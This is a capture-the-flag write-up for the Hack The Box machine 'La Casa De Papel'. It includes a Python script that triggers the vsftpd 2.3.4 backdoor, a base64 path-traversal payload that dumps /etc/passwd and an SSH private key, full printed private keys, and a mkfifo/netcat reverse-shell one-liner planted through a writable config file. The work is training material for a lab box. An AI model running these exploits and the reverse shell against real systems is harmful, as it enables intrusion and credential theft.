La Casa De Papel

Name: La Casa De Papel
Release Date: 30 Mar 2019
Retire Date: 27 Jul 2019
OS: Linux
Base Points: Easy - Retired [0]
Rated Difficulty:
Radar Graph:
InfoSecJack 00 days, 03 hours, 21 mins, 37 seconds
qtc 00 days, 05 hours, 31 mins, 18 seconds
Creator: thek
CherryTree File: CherryTree - Remove the .txt extension

Again, we start with nmap -sC -sV -oA ./lacasa 10.10.10.131

 
$  nmap -sC -sV -oA ./lacasa 10.10.10.131
  Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-07 12:22 EDT
  Nmap scan report for 10.10.10.131
  Host is up (0.20s latency).
  Not shown: 996 closed ports
  PORT    STATE SERVICE  VERSION
  21/tcp  open  ftp      vsftpd 2.3.4
  22/tcp  open  ssh      OpenSSH 7.9 (protocol 2.0)
  | ssh-hostkey: 
  |   2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA)
  |   256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA)
  |_  256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519)
  80/tcp  open  http     Node.js Express framework
  |_http-title: La Casa De Papel
  443/tcp open  ssl/http Node.js Express framework
  | http-auth: 
  | HTTP/1.1 401 Unauthorized\x0D
  |_  Server returned status 401 but no WWW-Authenticate header.
  |_http-title: La Casa De Papel
  | ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
  | Not valid before: 2019-01-27T08:35:30
  |_Not valid after:  2029-01-24T08:35:30
  |_ssl-date: TLS randomness does not represent time
  | tls-alpn: 
  |_  http/1.1
  | tls-nextprotoneg: 
  |   http/1.1
  |_  http/1.0
  Service Info: OS: Unix

  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 135.54 seconds

FTP, SSH, HTTP, and HTTPS are the services we have to play with.  VSFTP does not allow anonymous login.  We definitely don't have credentials for SSH this early.  So, let's start with HTTP and HTTPS.

If we try the QR code through Google Authenticator, we get a code, but entering it into the "One Password" field does nothing.  The HTTPS page throws a certificate error.  So far I'm 0 for 4 on this box.  A quick Google search finds a backdoor vulnerability in Metasploit for VSFTPD version 2.3.4.  Let's try to exploit it without MSF first.  If we look at the MSF exploit (/usr/share/exploitdb/exploits/unix/remote/17491.rb), it appears to try connecting to 21 and when fails routes over to 6200 as shown here:

 
  def exploit

                nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
                if nsock
                        print_status("The port used by the backdoor bind listener is already open")
                        handle_backdoor(nsock)
                        return
                end

                # Connect to the FTP service port first
                connect

                banner = sock.get_once(-1, 30).to_s
                print_status("Banner: #{banner.strip}")

We can write our own python script that essentially does the same thing, just make sure the username includes the :) characters.  I used:

 
import socket
  import os
  import time

  def main (ip,port):
      connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
      connection.connect((ip,port))
    
      connection.send('USER anything:)\n')
      connection.send('PASS anything\n')
      time.sleep(2)
      connection.close()
    
      os.system("rlwrap nc 10.10.10.131 6200 -v")
    
  if __name__ == "__main__":
      main("10.10.10.131", 21)

Make sure rlwrap is installed using "sudo apt-get install rlwrap".  The exploit drops us into a Psy shell, which is an interactive PHP debugger. We should be able to execute PHP commands from this.  Running whoami tells us that system commands are off limits.  Let's see what we are looking at here.

 
whoami
  PHP Warning:  Use of undefined constant whoami - assumed 
'whoami' (this will throw an Error in a future version of PHP) in phar://eval()'d code
 on line 1
  print_r(scandir( "/" ))
  Array
  (
      [0] => .
      [1] => ..
      [2] => .DS_Store
      [3] => ._.DS_Store
      [4] => bin
      [5] => boot
      [6] => dev
      [7] => etc
      [8] => home
      [9] => lib
      [10] => lost+found
      [11] => media
      [12] => mnt
      [13] => opt
      [14] => proc
      [15] => root
      [16] => run
      [17] => sbin
      [18] => srv
      [19] => swap
      [20] => sys
      [21] => tmp
      [22] => usr
      [23] => var
  )
  => true

So, we have some directory listing/traversal capabilities.  Looking around, we find the user flag inside the /home/berlin folder, but we have no way to view it just yet.  We can, however, view the ca.key file inside /home/nairobi.

 
 echo file_get_contents("/home/berlin/user.txt")
  PHP Warning:  file_get_contents(/home/berlin/user.txt): failed to open stream: Permission denied in phar://eval()'d code on line 1
  echo file_get_contents("/home/nairobi/ca.key")
  -----BEGIN PRIVATE KEY-----
  MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPczpU3s4Pmwdb
  7MJsi//m8mm5rEkXcDmratVAk2pTWwWxudo/FFsWAC1zyFV4w2KLacIU7w8Yaz0/
  2m+jLx7wNH2SwFBjJeo5lnz+ux3HB+NhWC/5rdRsk07h71J3dvwYv7hcjPNKLcRl
  uXt2Ww6GXj4oHhwziE2ETkHgrxQp7jB8pL96SDIJFNEQ1Wqp3eLNnPPbfbLLMW8M
  YQ4UlXOaGUdXKmqx9L2spRURI8dzNoRCV3eS6lWu3+YGrC4p732yW5DM5Go7XEyp
  s2BvnlkPrq9AFKQ3Y/AF6JE8FE1d+daVrcaRpu6Sm73FH2j6Xu63Xc9d1D989+Us
  PCe7nAxnAgMBAAECggEAagfyQ5jR58YMX97GjSaNeKRkh4NYpIM25renIed3C/3V
  Dj75Hw6vc7JJiQlXLm9nOeynR33c0FVXrABg2R5niMy7djuXmuWxLxgM8UIAeU89
  1+50LwC7N3efdPmWw/rr5VZwy9U7MKnt3TSNtzPZW7JlwKmLLoe3Xy2EnGvAOaFZ
  /CAhn5+pxKVw5c2e1Syj9K23/BW6l3rQHBixq9Ir4/QCoDGEbZL17InuVyUQcrb+
  q0rLBKoXObe5esfBjQGHOdHnKPlLYyZCREQ8hclLMWlzgDLvA/8pxHMxkOW8k3Mr
  uaug9prjnu6nJ3v1ul42NqLgARMMmHejUPry/d4oYQKBgQDzB/gDfr1R5a2phBVd
  I0wlpDHVpi+K1JMZkayRVHh+sCg2NAIQgapvdrdxfNOmhP9+k3ue3BhfUweIL9Og
  7MrBhZIRJJMT4yx/2lIeiA1+oEwNdYlJKtlGOFE+T1npgCCGD4hpB+nXTu9Xw2bE
  G3uK1h6Vm12IyrRMgl/OAAZwEQKBgQDahTByV3DpOwBWC3Vfk6wqZKxLrMBxtDmn
  sqBjrd8pbpXRqj6zqIydjwSJaTLeY6Fq9XysI8U9C6U6sAkd+0PG6uhxdW4++mDH
  CTbdwePMFbQb7aKiDFGTZ+xuL0qvHuFx3o0pH8jT91C75E30FRjGquxv+75hMi6Y
  sm7+mvMs9wKBgQCLJ3Pt5GLYgs818cgdxTkzkFlsgLRWJLN5f3y01g4MVCciKhNI
  ikYhfnM5CwVRInP8cMvmwRU/d5Ynd2MQkKTju+xP3oZMa9Yt+r7sdnBrobMKPdN2
  zo8L8vEp4VuVJGT6/efYY8yUGMFYmiy8exP5AfMPLJ+Y1J/58uiSVldZUQKBgBM/
  ukXIOBUDcoMh3UP/ESJm3dqIrCcX9iA0lvZQ4aCXsjDW61EOHtzeNUsZbjay1gxC
  9amAOSaoePSTfyoZ8R17oeAktQJtMcs2n5OnObbHjqcLJtFZfnIarHQETHLiqH9M
  WGjv+NPbLExwzwEaPqV5dvxiU6HiNsKSrT5WTed/AoGBAJ11zeAXtmZeuQ95eFbM
  7b75PUQYxXRrVNluzvwdHmZEnQsKucXJ6uZG9skiqDlslhYmdaOOmQajW3yS4TsR
  aRklful5+Z60JV/5t2Wt9gyHYZ6SYMzApUanVXaWCCNVoeq+yvzId0st2DRl83Vc
  53udBEzjt3WPqYGkkDknVhjD
  -----END PRIVATE KEY-----

I found the ca.key file by first trying ls, which gave me a $tokyo variable, which I then "show"'d

 
  ls
  Variables: $tokyo
  
  show $tokyo
    > 2| class Tokyo {
      3|  private function sign($caCert,$userCsr) {
      4|          $caKey = file_get_contents('/home/nairobi/ca.key');
      5|          $userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']);
      6|          openssl_x509_export($userCert, $userCertOut);
      7|          return $userCertOut;
      8|  }
      9| }

We have the ca.key contents.  Create your own ca.key file and paste the contents into it.  Let's export the server certificate and then see if we can generate a client cert from them.  Just click the lock on the HTTPS address bar, hit the > to the right of Connection, then More Information, then View Certificate, then the Details tab, and lastly Export.  Remember where you save it.  To generate a client certificate run these 4 commands:

 

  openssl genrsa -out client.key 4096
 
  openssl req -new -key client.key -out client.req

 

  openssl x509 -req -in client.req -CA lacasadepapel_htb.crt -CAkey ca.key -set_serial 101 -extensions client -days 365 -outform PEM -out client.cer
 
  openssl pkcs12 -export -inkey client.key -in client.cer -out client.p12

 

You now have a client.p12 client ceertificate.  Now we just need to import it into Firefox.  We do that by going to Preferences, go to the Privacy and Security tab (on the left side), scroll all the way down to the bottom and select View Certificates, choose the Your Certificates, and then Import.  Import the p12 file and refresh the page.  When you do it will ask you to choose a certificate.

Alright!  Now we are in the "Private Area"

While looking around, I noticed something interesting with the URL.  Do you see it?

https://10.10.10.131/?path=SEASON-2  path=SEASON-2.....  Possible Traversal opportunity?  Let's give it a shot. Trying
https://10.10.10.131/?path=../../../../../../../../../../etc/passwd gives us a weird error.

Let's look at one of the episode downloads.  Well that URL looks interesting.  Using Base64 Decode, we can see the URL decodes to


  https://10.10.10.131/file/U0VBU09OLTIvMDEuYXZp
 
  SEASON-2/01.avi

 

So, let's encode ../../../../../../../../../etc/passwd into Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== and try the file URL with our encoding

 
 https://10.10.10.131/file/Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
  
  root:x:0:0:root:/root:/bin/ash
  bin:x:1:1:bin:/bin:/sbin/nologin
  daemon:x:2:2:daemon:/sbin:/sbin/nologin
  adm:x:3:4:adm:/var/adm:/sbin/nologin
  lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
  sync:x:5:0:sync:/sbin:/bin/sync
  shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
  halt:x:7:0:halt:/sbin:/sbin/halt
  mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
  news:x:9:13:news:/usr/lib/news:/sbin/nologin
  uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
  operator:x:11:0:operator:/root:/bin/sh
  man:x:13:15:man:/usr/man:/sbin/nologin
  postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
  cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
  ftp:x:21:21::/var/lib/ftp:/sbin/nologin
  sshd:x:22:22:sshd:/dev/null:/sbin/nologin
  at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
  squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
  xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
  games:x:35:35:games:/usr/games:/sbin/nologin
  postgres:x:70:70::/var/lib/postgresql:/bin/sh
  cyrus:x:85:12::/usr/cyrus:/sbin/nologin
  vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
  ntp:x:123:123:NTP:/var/empty:/sbin/nologin
  smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
  guest:x:405:100:guest:/dev/null:/sbin/nologin
  nobody:x:65534:65534:nobody:/:/sbin/nologin
  chrony:x:100:101:chrony:/var/log/chrony:/sbin/nologin
  dali:x:1000:1000:dali,,,:/home/dali:/usr/bin/psysh
  berlin:x:1001:1001:berlin,,,:/home/berlin:/bin/ash
  professor:x:1002:1002:professor,,,:/home/professor:/bin/ash
  vsftp:x:101:21:vsftp:/var/lib/ftp:/sbin/nologin
  memcached:x:102:102:memcached:/home/memcached:/sbin/nologin

Outstanding!  File traversal achieved.  We could get the user flag from here, but let's wait until we actually get a root shell.  First things first though, we need a user shell.  Since we are trying to get a user shell, and the files are located in /home/berlin/downloads, let's try getting the id_rsa from berlin and see what happens.  Just encode ../.ssh/id_rsa and navigate to it.  If we do this right, we should get Berlin's Private key for ssh.

 
https://10.10.10.131/file/Li4vLnNzaC9pZF9yc2E=
  
  -----BEGIN OPENSSH PRIVATE KEY-----
  b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
  NhAAAAAwEAAQAAAgEAotH6Ygupi7JhjdbDXhg2f9xmzxaDNdxxEioAgH2GjUeUc4cJeTfU
  /yWg1vyx1dXqanfwAzYOQLUgO9/rDbI9y51rTQnLhHsp/iFiGdvDO5iZwLNrwmzVLxgGc+
  mNac3qxHcuHx7q+zQHB8NfU/qzyAL2/xsRkzBODRg21tsVqnTV83T8CFSBUO2jzitHFNjv
  YbacP+Jn9Q5Y2HRdE03DWnAJJ7zk4SWWicM3riuuYyeqV6OYKboHwi+FB94Yx1xaPFGP7T
  0jnBU3molURhKKolNqY78PE5qYplO/eO5H/7vKbrF7J5VtsVpvGQsmjqUhQK/GoYrMudIh
  cfQSMUnpgWXYtCnIpBa53aY/fl0XYpL9a1ZQh1iGm4oleVnZNvqMa4mb+8kC8k3WDmw9pq
  /W3eGVQ6Xeyj/4kUENe1Q8xj9BIXLZJwXYHtACLS4PaKZSRaFSjkc/26/T2958f2oBqJLf
  +oxiydgcTI2vC34OYwwS7cOcSsS4HivUC6K7oJJHw3nUNoA2ge3cwiO6bNHrEKMJWOrMpp
  9UH9BbQ/u7k5Ap7QF8yBfrdC64EAUzyZJXWde1NhSNjiI0rBqzCPZQGSOLEIFAwzU0bMIu
  Ju4JIQOAH+3tfoh8ccUdNcmfH7LaT7pF3VYwyoPMowLpA8fG4FXGyvoyrfeTXC6GY0+1NV
  UAAAdQRqG3BkahtwYAAAAHc3NoLXJzYQAAAgEAotH6Ygupi7JhjdbDXhg2f9xmzxaDNdxx
  EioAgH2GjUeUc4cJeTfU/yWg1vyx1dXqanfwAzYOQLUgO9/rDbI9y51rTQnLhHsp/iFiGd
  vDO5iZwLNrwmzVLxgGc+mNac3qxHcuHx7q+zQHB8NfU/qzyAL2/xsRkzBODRg21tsVqnTV
  83T8CFSBUO2jzitHFNjvYbacP+Jn9Q5Y2HRdE03DWnAJJ7zk4SWWicM3riuuYyeqV6OYKb
  oHwi+FB94Yx1xaPFGP7T0jnBU3molURhKKolNqY78PE5qYplO/eO5H/7vKbrF7J5VtsVpv
  GQsmjqUhQK/GoYrMudIhcfQSMUnpgWXYtCnIpBa53aY/fl0XYpL9a1ZQh1iGm4oleVnZNv
  qMa4mb+8kC8k3WDmw9pq/W3eGVQ6Xeyj/4kUENe1Q8xj9BIXLZJwXYHtACLS4PaKZSRaFS
  jkc/26/T2958f2oBqJLf+oxiydgcTI2vC34OYwwS7cOcSsS4HivUC6K7oJJHw3nUNoA2ge
  3cwiO6bNHrEKMJWOrMpp9UH9BbQ/u7k5Ap7QF8yBfrdC64EAUzyZJXWde1NhSNjiI0rBqz
  CPZQGSOLEIFAwzU0bMIuJu4JIQOAH+3tfoh8ccUdNcmfH7LaT7pF3VYwyoPMowLpA8fG4F
  XGyvoyrfeTXC6GY0+1NVUAAAADAQABAAACAAx3e25qai7yF5oeqZLY08NygsS0epNzL40u
  fh9YfSbwJiO6YTVQ2xQ2M1yCuLMgz/Qa/tugFfNKaw9qk7rWvPiMMx0Q9O5N5+c3cyV7uD
  Ul+A/TLRsT7jbO5h+V8Gf7hlBIt9VWLrPRRgCIKxJpDb7wyyy5S90zQ6apBfnpiH0muQMN
  IAcbQVOK/pHYqnakLaATtV8G3OLcmFzqe/3wZFbWYT0Tr4q1sBMYSXkiixW4gch4FDyNq+
  5oaQ0zKj6Jibc4n4aQudtHnJxOi49Z+Bd5v5mnlWXw3mNN4klGJWklXdif6kgbnuyHeh42
  xlsBtcwYKWNRF1/bAQiSoZn4iNJqSFYcx9SzE+QadUfhtkbBiBC7HPHhANgmcg4FBJsz3f
  S4vJWkQvRd/wGjW+B6ywn6qrsJ1hSaoR9Tr7pwKfTKL1HyvMCWd5DEt98EWyyQUdHfKYgp
  E4oo6g2LX9c6bLawGvzFkVcfiH8XM0lyRpKV2hAU03KzNbbmy73HsxMBbVp0SMk62phRWw
  t8dQedPW8J71LR0igh8ckkuP13ZWPUUdTJJDc4UZycDzNruCj/8kPYn4Lo4s8E1XJ3y/F8
  GQn2NvjjhkOgS+fMnQwfxPl3yDg4g/QgxOQ5b3yZwPVUM75IjperwQYXjzfY1XO5WtyGc7
  5iUJMuSvXWukWAKJtBAAABAA+0Nxztrd02xlT+o9FRgUJ2CCed11eqAX2Lo2tpJB8G7e88
  9OCz3YqRDAQSm4/1okhKPUj3B/bcZqOyRFbABZTJYOg0/m0Ag6Fb26S3TBMMrAgrSnxksZ
  36KlW1WpuwrKq+4jSFJV5cPjpk9jVQmhvdgxHlSjIEpOkByOH4aKK7wuaIA5jqPKrq74cD
  mukNhpV4xjan1Rj7zPFLnoce0QMWdX4CShUa+BNInls8/v7MflLgxQ53I21cHXTdNf5zrc
  48jlAJQuRiTSgIYSu+G1IIoLibVA/GPWOOJ2jmV0cpNzfbmGM/A2AEGvSKtuP9DwA1NHfn
  DDUIZds61tF9CxUAAAEBANVkFLByFDv9qnHymc/tr6dtqyyMY6D7YeU3ZWL+dNPSlSW/bN
  YjlA9S4aB2yuN+tAMeU0E6jKgh1+ROlNwXu48uN/QL50gZpiLcSlqZnhFQ/2El2Uvj2Y/S
  PnklDVQnQ/5yZBQR0bBiy/EJIOfJQo0KRbR/pq51eUhzBSEBMz6nBIY8zPdOVfhngZUpMe
  4S7N1RPDWS2OvGwwWkwmmiJe45cGD7SKLj0Jv+p/DZ+k9ZiI5tEGY87DKAh0wrV04u4I/l
  xGl6TCoXDr7hi1dAdVWW84cj8mFW7q9UN0y15Vn82HPIq5ZaSKfM6qPKfYeBBaN8hUIogf
  +FlwHjzSWOPb0AAAEBAMNU3uGeUUMVn1dUOMeemr+LJVHHjtqbL3oq97+fd1ZQ6vchTyKX
  6cbCC7gB13qJ6oWO1GhB9e4SAd3DYiNv/LO9z1886DyqNLVHKYXn0SNSLTPb7n9NjwJNz1
  GuPqW43pGwlBhMPZhJPA+4wmiO9GV+GXlaFrz16Or/qCexGyovMIhKtV0Ks3XzHhhjG41e
  gKd/wGl3vV74pTWIyS2Nrtilb7ii8jd2MezuSTf7SmjiE0GPY8xt0ZqVq+/Fj/vfM+vbN1
  ram9k+oABmLisVVgkKvfbzWRmGMDfG2X0jOrIw52TZn9MwTcr+oMyi1RTG7oabPl6cNM0x
  X3a0iF5JE3kAAAAYYmVybGluQGxhY2FzYWRlcGFwZWwuaHRiAQID
  -----END OPENSSH PRIVATE KEY-----

One private key!  Strange.  It doesn't work for berlin.  Let's try professor (since it's the next one down of the /etc/passwd list above).  That did it.  We are now professor.  Looks like we need to privesc to Berlin, then again to root.  As usual, wget the LinEnum.sh file over to the target.

 

  On Attacking Machine:
 
  python3 -m http.server 9999
 
  On Target Machine:
 
  wget http://10.10.XX.XX:9999/LinEnum.sh
  chmod +x LinEnum.sh
  ./LinEnum.sh -t

 

On Line 12725 of the LinEnum.sh output (which as usual is in the attached CTB file), is a service running memcached.js in the professor's home folder.  Let's take a look & see.

 
12725 nobody    0:12 /usr/bin/node /home/professor/memcached.js
  
  lacasadepapel [/tmp]$ cd /home/professor/
  lacasadepapel [~]$ ls -la
  total 24
  drwxr-sr-x    4 professo professo      4096 Mar  6  2019 .
  drwxr-xr-x    7 root     root          4096 Feb 16  2019 ..
  lrwxrwxrwx    1 root     professo         9 Nov  6  2018 .ash_history -> /dev/null
  drwx------    2 professo professo      4096 Jan 31  2019 .ssh
  -rw-r--r--    1 root     root            88 Jan 29  2019 memcached.ini
  -rw-r-----    1 root     nobody         434 Jan 29  2019 memcached.js
  drwxr-sr-x    9 root     professo      4096 Jan 29  2019 node_modules

Arg!  We have no permissions for the .js, but we do for the .ini.  What's in it?

  [program:memcached]
  command = sudo -u nobody /usr/bin/node /home/professor/memcached.js

OK, so it runs the memcached.js as nobody.  We can't modify the INI directly, but we do have folder permissions.  Let's create a shell script for a reverse shell
and then replace the memcached.ini with one of our own.  First, the shell script.  I used:

 

  echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 9999 /tmp/f' >> shell.sh  

 

 Next, move the current ini and make the new one.

 

   mv memcached.ini memcached.bak
   
   vi memcached.ini
   
   [program:memcached]
   command = su -c /tmp/shell.sh
   
   chmod +x shell.sh

 

Now, we set a netcat listener on our machine with "nc -lvnp 9999" and wait.  Emphasis on wait.  It's on a cron job that runs every 3-5 minutes. Make sure shell.sh has that +x executable or it won't work.  When it runs, you will have a root shell.